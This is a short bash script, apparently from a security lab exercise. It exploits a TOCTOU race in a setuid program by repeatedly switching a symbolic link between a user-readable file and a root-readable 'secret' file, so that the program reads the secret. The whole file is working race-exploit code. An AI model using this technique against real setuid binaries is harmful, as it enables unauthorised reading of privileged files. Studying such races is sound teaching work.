#!/bin/bash
#
# Launch this script and then start 
# while true; do ./setuid-toctou ./symbolic_link ; done
set -u
set -e
curdir=`pwd`

if [ ! -e ./setuid-toctou ]; then
    echo "program <setuid-toctou> not found. wrong directory?"
    exit -1
fi

while true; do
    ln -f -s ${curdir}/hello  ./symbolic_link # link to a user-readable file
    ln -f -s ${curdir}/secret ./symbolic_link # link to a root-readable file
done